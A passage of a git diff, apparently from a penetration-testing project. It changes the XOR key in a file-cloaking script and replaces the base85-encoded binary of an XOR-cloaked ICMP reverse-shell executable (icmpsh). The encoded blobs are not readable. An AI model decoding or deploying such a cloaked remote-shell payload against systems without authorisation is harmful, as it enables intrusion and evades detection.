z|H6I#`zXJd%RY_7tF;F`UX*B9jsjAW29-tl_QXtac0PNcY2Joljo4a^!N;Mf61TvY*dDaKOC_ZX^kO@l)b`4n@NEN$K~PNfYd8` zsKnf7`x07WY$inL;n9$EAnp3#EtN@Ale@j18j*W*vNY;xL%pN8ku3cr{T;d$U_>h({SqWBg3D7A#=f_i6{Bm zx?3^q&}UT@_?@&`QRu>-1^815v={ zSZ0}in&%K1CDujP>l$Cx>z2t1cb?d*f4KX6>Gc zpoZlG#qeo0$aES5*K?u?rMxw9R58=Zl1&3Y=3t?|OOrc)E-50ZKvX4^pZ?UGUKK&v zJ*M>J#^Tq?4*2bHho3aHT0sjMAPDdmLQfDC}gPI@zDTL`Imotcc9_pPj^`>$ zZ>1sP)`un}!4hDgbT%Gal~(aa@#|`Kn%Av)?a?a~69{?yoY^PG;GNZ!lB!>avF?47hUjtLFz z1!4xB_p}?NWhaF&N_fp6-RkF)?nS~B1Z^$p*b+~x@FomAiZA^dklsNZ?)rQfTiwhs zg1=%0Ip=w8IlPdyFum1eJkoKJEo!oIlA;Lk5q*V9y*^SVa28+z=zzR18UudCM0%i2 zCk|CPxTo$qsm$IY-*z6!YqH|O{1nj9R(%Jl#zW1Lgq0Mye2TQf)E-Cr|1i;1h(DR!q^OenG;>PpF@;Sg34Qa*}n*GN!> zzo|Ea)F~Lp@7$RVqkE6wS9~6nmsvGAw&Wn_ezP|UWFWO|ZvO(M9UeC&nZQ!GMN7(N z`Zj{e;z6v#g_&q0ly;3ETSf$;KNdsX`0 zYWi8a;gA$YGG%!^JO5oC3L>&GDJ?Ghc4-IkvoJgSxVYC*)zx)uNx4bvz2?et+5TrC z?0|-8V{k*bc>BIz1wQ|TGkb-r2Q(=dead;SH>iuE?aVhhQS`8Qg2=wihMh3cC{H3K zavqSa`|vR~k_LVV<{+2sYWioaNE3sqkI}ZfdNcIBO2j_@c^tb?tp`3j%D8ywC<0aS z+S4Y<@jf0WSq6Och62|0?edL`+iA%wO8e0pdS4&ayA|(3p9-_gib~D@eCp&`&IkJp zLohrtcyj+?uhTMmYYLR`WHb5u&f%QXIs#6&U0vc2_cqnYwzid}n^+LE9x;Tix1)-w zqgZ4ZXv{@|R7{~hVVD|%H=Dh%6oSm^d*aJ3=O&(Fdxs2gLg`K!dzFcytj4wgHWr_c zQrJTP;}>F+Syix@Rlz+|sjkdTS;QlE{rffxjE}UMwA#a;w1{?nl$QZ4$|jE~t+Y&M za0{tPKSuThtfTt{a%;IK0!jJ*Ewfo55En7&417V30l79EgOT)e@)pYE7GQp dffbUWfeGC-jBeL{)YwtGm6u9nj5h2Yc$8y`Jb(ZI diff --git a/extra/cloak/cloak.py b/extra/cloak/cloak.py index 641d1c51635..465f220b8b7 100644 --- a/extra/cloak/cloak.py +++ b/extra/cloak/cloak.py @@ -21,7 +21,7 @@ xrange = range ord = lambda _: _ -KEY = b"wr36EPIvaR7ZDfb4" +KEY = b"ZCuk6GdHSj4KtgDq" def xor(message, key): return b"".join(struct.pack('B', ord(message[i]) ^ ord(key[i % len(key)])) for i in range(len(message))) diff --git a/extra/icmpsh/icmpsh.exe_ b/extra/icmpsh/icmpsh.exe_ index 46a2115cc4432433147505445ab9a52a330298f6..4388012aba6fce799354f4ca88ddf810315958a4 100644 GIT binary patch literal 7009 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 